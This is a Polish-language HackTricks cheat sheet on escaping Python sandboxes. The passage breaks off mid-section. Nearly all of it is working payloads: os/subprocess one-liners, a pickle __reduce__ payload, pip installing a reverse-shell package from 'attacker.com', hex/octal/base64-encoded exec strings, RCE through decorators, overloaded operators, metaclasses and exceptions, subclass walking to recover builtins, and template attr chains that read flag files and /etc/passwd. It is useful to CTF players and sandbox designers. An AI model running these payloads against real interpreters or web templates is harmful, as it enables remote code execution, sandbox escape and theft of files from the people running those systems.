Bypass Python sandboxes

Reading time: 38 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

To są pewne sztuczki, aby obejść zabezpieczenia piaskownicy Pythona i wykonać dowolne polecenia.

Biblioteki do wykonywania poleceń

Pierwszą rzeczą, którą musisz wiedzieć, jest to, czy możesz bezpośrednio wykonać kod za pomocą już zaimportowanej biblioteki, lub czy możesz zaimportować którąkolwiek z tych bibliotek:

python
os.system("ls") os.popen("ls").read() commands.getstatusoutput("ls") commands.getoutput("ls") commands.getstatus("file/path") subprocess.call("ls", shell=True) subprocess.Popen("ls", shell=True) pty.spawn("ls") pty.spawn("/bin/bash") platform.os.system("ls") pdb.os.system("ls") #Import functions to execute commands importlib.import_module("os").system("ls") importlib.__import__("os").system("ls") imp.load_source("os","/usr/lib/python3.8/os.py").system("ls") imp.os.system("ls") imp.sys.modules["os"].system("ls") sys.modules["os"].system("ls") __import__("os").system("ls") import os from os import * #Other interesting functions open("/etc/passwd").read() open('/var/www/html/input', 'w').write('123') #In Python2.7 execfile('/usr/lib/python2.7/os.py') system('ls')

Pamiętaj, że funkcje open i read mogą być przydatne do czytania plików wewnątrz piaskownicy Pythona oraz do pisania kodu, który możesz wykonać, aby obejść piaskownicę.

[!CAUTION] > Funkcja input() w Pythonie 2 pozwala na wykonywanie kodu Pythona przed awarią programu.

Python próbuje ładować biblioteki z bieżącego katalogu jako pierwsze (następujące polecenie wydrukuje, skąd Python ładuje moduły): python3 -c 'import sys; print(sys.path)'

Obejście piaskownicy pickle za pomocą domyślnie zainstalowanych pakietów Pythona

Domyślne pakiety

Możesz znaleźć listę wstępnie zainstalowanych pakietów tutaj: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Zauważ, że z pickle możesz sprawić, że środowisko Pythona zaimportuje dowolne biblioteki zainstalowane w systemie.
Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip, aby jej użyć:

python
#Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it #the library is going to be loaded automatically import pickle, os, base64, pip class P(object): def __reduce__(self): return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Dla uzyskania dodatkowych informacji na temat działania pickle, sprawdź to: https://checkoway.net/musings/pickle/

Pakiet Pip

Sztuczka udostępniona przez @isHaacK

Jeśli masz dostęp do pip lub pip.main(), możesz zainstalować dowolny pakiet i uzyskać powrotny shell, wywołując:

bash
pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę zauważyć, że przed użyciem powinieneś rozpakować go, zmienić setup.py i wpisać swój adres IP dla reverse shell:

note

Ten pakiet nazywa się Reverse. Jednak został specjalnie stworzony tak, aby po wyjściu z reverse shell reszta instalacji zakończyła się niepowodzeniem, więc nie zostawisz żadnego dodatkowego pakietu python na serwerze po wyjściu.

Eval-ing kodu python

warning

Zauważ, że exec pozwala na wieloliniowe ciągi i ";", ale eval nie (sprawdź operator walrus)

Jeśli pewne znaki są zabronione, możesz użyć reprezentacji hex/octal/B64, aby obejść ograniczenie:

python
exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" eval("__import__('os').system('ls')") #Eval doesn't allow ";" eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";" __import__('timeit').timeit("__import__('os').system('ls')",number=1) #One liners that allow new lines and tabs eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec')) exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
python
#Octal exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51") #Hex exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29") #Base64 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Inne biblioteki, które pozwalają na eval kodu python

python
#Pandas import pandas as pd df = pd.read_csv("currency-rates.csv") df.query('@__builtins__.__import__("os").system("ls")') df.query("@pd.io.common.os.popen('ls').read()") df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # The previous options work but others you might try give the error: # Only named functions are supported # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Operatorzy i krótkie sztuczki

python
# walrus operator allows generating variable inside a list ## everything will be executed in order ## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/ [a:=21,a*2] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Obejście zabezpieczeń za pomocą kodowania (UTF-7)

W tym artykule UFT-7 jest używane do ładowania i wykonywania dowolnego kodu python w pozornym piaskownicy:

python
assert b"+AAo-".decode("utf_7") == "\n" payload = """ # -*- coding: utf_7 -*- def f(x): return x #+AAo-print(open("/flag.txt").read()) """.lstrip()

Możliwe jest również ominięcie tego za pomocą innych kodowań, np. raw_unicode_escape i unicode_escape.

Wykonanie Pythona bez wywołań

Jeśli jesteś w pułapce Pythona, która nie pozwala na wywołania, istnieją nadal sposoby na wykonywanie dowolnych funkcji, kodu i komend.

RCE z dekoratorami

python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @input class X: pass # The previous code is equivalent to: class X: pass X = input(X) X = exec(X) # So just send your python code when prompted and it will be executed # Another approach without calling input: @eval @'__import__("os").system("sh")'.format class _:pass

RCE tworzenie obiektów i przeciążanie

Jeśli możesz zadeklarować klasę i utworzyć obiekt tej klasy, możesz zapisać/przeciążyć różne metody, które mogą być wywoływane bez konieczności ich bezpośredniego wywoływania.

RCE z niestandardowymi klasami

Możesz modyfikować niektóre metody klas (przez nadpisywanie istniejących metod klas lub tworzenie nowej klasy), aby sprawić, że będą wykonywać dowolny kod po wywołaniu bez bezpośredniego ich wywoływania.

python
# This class has 3 different ways to trigger RCE without directly calling any function class RCE: def __init__(self): self += "print('Hello from __init__ + __iadd__')" __iadd__ = exec #Triggered when object is created def __del__(self): self -= "print('Hello from __del__ + __isub__')" __isub__ = exec #Triggered when object is created __getitem__ = exec #Trigerred with obj[<argument>] __add__ = exec #Triggered with obj + <argument> # These lines abuse directly the previous class to get RCE rce = RCE() #Later we will see how to create objects without calling the constructor rce["print('Hello from __getitem__')"] rce + "print('Hello from __add__')" del rce # These lines will get RCE when the program is over (exit) sys.modules["pwnd"] = RCE() exit() # Other functions to overwrite __sub__ (k - 'import os; os.system("sh")') __mul__ (k * 'import os; os.system("sh")') __floordiv__ (k // 'import os; os.system("sh")') __truediv__ (k / 'import os; os.system("sh")') __mod__ (k % 'import os; os.system("sh")') __pow__ (k**'import os; os.system("sh")') __lt__ (k < 'import os; os.system("sh")') __le__ (k <= 'import os; os.system("sh")') __eq__ (k == 'import os; os.system("sh")') __ne__ (k != 'import os; os.system("sh")') __ge__ (k >= 'import os; os.system("sh")') __gt__ (k > 'import os; os.system("sh")') __iadd__ (k += 'import os; os.system("sh")') __isub__ (k -= 'import os; os.system("sh")') __imul__ (k *= 'import os; os.system("sh")') __ifloordiv__ (k //= 'import os; os.system("sh")') __idiv__ (k /= 'import os; os.system("sh")') __itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.) __imod__ (k %= 'import os; os.system("sh")') __ipow__ (k **= 'import os; os.system("sh")') __ilshift__ (k<<= 'import os; os.system("sh")') __irshift__ (k >>= 'import os; os.system("sh")') __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")')

Tworzenie obiektów za pomocą metaklas

Kluczową rzeczą, którą metaklasy pozwalają nam zrobić, jest utworzenie instancji klasy, bez bezpośredniego wywoływania konstruktora, poprzez stworzenie nowej klasy z docelową klasą jako metaklasą.

python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" class Metaclass(type): __getitem__ = exec # So Sub[string] will execute exec(string) # Note: Metaclass.__class__ == type class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass pass # Nothing special to do Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object

Tworzenie obiektów z wyjątkami

Gdy wyjątek jest wywoływany, obiekt Exception jest tworzony bez potrzeby bezpośredniego wywoływania konstruktora (sztuczka od @_nag0mez):

python
class RCE(Exception): def __init__(self): self += 'import os; os.system("sh")' __iadd__ = exec #Triggered when object is created raise RCE #Generate RCE object # RCE with __add__ overloading and try/except + raise generated object class Klecko(Exception): __add__ = exec try: raise Klecko except Klecko as k: k + 'import os; os.system("sh")' #RCE abusing __add__ ## You can also use the tricks from the previous section to get RCE with this object

Więcej RCE

python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error class X: def __init__(self, a, b, c): self += "os.system('sh')" __iadd__ = exec sys.excepthook = X 1/0 #Trigger it # From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py # The interpreter will try to import an apt-specific module to potentially # report an error in ubuntu-provided modules. # Therefore the __import__ functions are overwritten with our RCE class X(): def __init__(self, a, b, c, d, e): self += "print(open('flag').read())" __iadd__ = eval __builtins__.__import__ = X {}[1337]

Przeczytaj plik z pomocą i licencją builtins

python
__builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help a.__class__.__enter__ = __builtins__.__dict__["license"] a.__class__.__exit__ = lambda self, *args: None with (a as b): pass

Builtins

Jeśli masz dostęp do obiektu __builtins__, możesz importować biblioteki (zauważ, że możesz również użyć tutaj innej reprezentacji ciągu pokazanej w ostatniej sekcji):

python
__builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls")

Brak Wbudowanych

Kiedy nie masz __builtins__, nie będziesz w stanie zaimportować niczego ani nawet czytać lub pisać plików, ponieważ wszystkie funkcje globalne (jak open, import, print...) nie są załadowane.
Jednak domyślnie python ładuje wiele modułów do pamięci. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich również importują niebezpieczne funkcjonalności, które można wykorzystać do uzyskania dowolnego wykonania kodu.

W poniższych przykładach możesz zaobserwować, jak nadużywać niektóre z tych "nieszkodliwych" modułów załadowanych, aby uzyskać niebezpieczne funkcjonalności wewnątrz nich.

Python2

python
#Try to reload __builtins__ reload(__builtins__) import __builtin__ # Read recovering <type 'file'> in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() # Write recovering <type 'file'> in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') # Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>) ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls') # Execute (another method) ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls') # Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>) ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')") # Or you could obtain the builtins from a defined function get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

python
# Obtain builtins from a globally defined function # https://docs.python.org/3/library/functions.html help.__call__.__builtins__ # or __globals__ license.__call__.__builtins__ # or __globals__ credits.__call__.__builtins__ # or __globals__ print.__self__ dir.__self__ globals.__self__ len.__self__ __build_class__.__self__ # Obtain the builtins from a defined function get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Poniżej znajduje się większa funkcja do znalezienia dziesiątek/setek miejsc, w których można znaleźć builtins.

Python2 i Python3

python
# Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls')

Wbudowane ładunki

python
# Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below

Globals and locals

Sprawdzanie globals i locals to dobry sposób, aby dowiedzieć się, do czego masz dostęp.

python
>>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>} >>> locals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>} # Obtain globals from a defined function get_flag.__globals__ # Obtain globals from an object of a class class_obj.__init__.__globals__ # Obtaining globals directly from loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ] [<class 'function'>] # Obtaining globals from __init__ of loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ] [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>] # Without the use of the dir() function [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Poniżej znajduje się większa funkcja do znalezienia dziesiątek/setek miejsc, w których można znaleźć globals.

Odkrywanie dowolnej egzekucji

Tutaj chcę wyjaśnić, jak łatwo odkryć bardziej niebezpieczne funkcjonalności załadowane i zaproponować bardziej niezawodne exploity.

Uzyskiwanie dostępu do podklas z obejściami

Jedną z najbardziej wrażliwych części tej techniki jest możliwość uzyskania dostępu do podstawowych podklas. W poprzednich przykładach zrobiono to za pomocą ''.__class__.__base__.__subclasses__(), ale istnieją inne możliwe sposoby:

python
#You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() [].__class__.__base__.__subclasses__() {}.__class__.__base__.__subclasses__() ().__class__.__base__.__subclasses__() (1).__class__.__base__.__subclasses__() bool.__class__.__base__.__subclasses__() print.__class__.__base__.__subclasses__() open.__class__.__base__.__subclasses__() defined_func.__class__.__base__.__subclasses__() #You can also access it without "__base__" or "__class__" # You can apply the previous technique also here "".__class__.__bases__[0].__subclasses__() "".__class__.__mro__[1].__subclasses__() "".__getattribute__("__class__").mro()[1].__subclasses__() "".__getattribute__("__class__").__base__.__subclasses__() # This can be useful in case it is not possible to make calls (therefore using decorators) ().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec #If attr is present you can access everything as a string # This is common in Django (and Jinja) environments (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Znajdowanie niebezpiecznych załadowanych bibliotek

Na przykład, wiedząc, że z biblioteką sys możliwe jest importowanie dowolnych bibliotek, możesz wyszukać wszystkie załadowane moduły, które mają zaimportowane sys w sobie:

python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Jest ich wiele, a potrzebujemy tylko jednego, aby wykonać polecenia:

python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Możemy zrobić to samo z innymi bibliotekami, o których wiemy, że mogą być używane do wykonywania poleceń:

python
#os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls') #subprocess [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls") [ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls') [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls') #builtins [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls") #sys [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls") #commands (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls") #pty (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls") #importlib [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls") #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

Ponadto, możemy nawet sprawdzić, które moduły ładują złośliwe biblioteki:

python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ] print(f"{b}: {', '.join(vuln_libs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pdb: """

Ponadto, jeśli uważasz, że inne biblioteki mogą wywoływać funkcje do wykonywania poleceń, możemy również filtrować według nazw funkcji w możliwych bibliotekach:

python
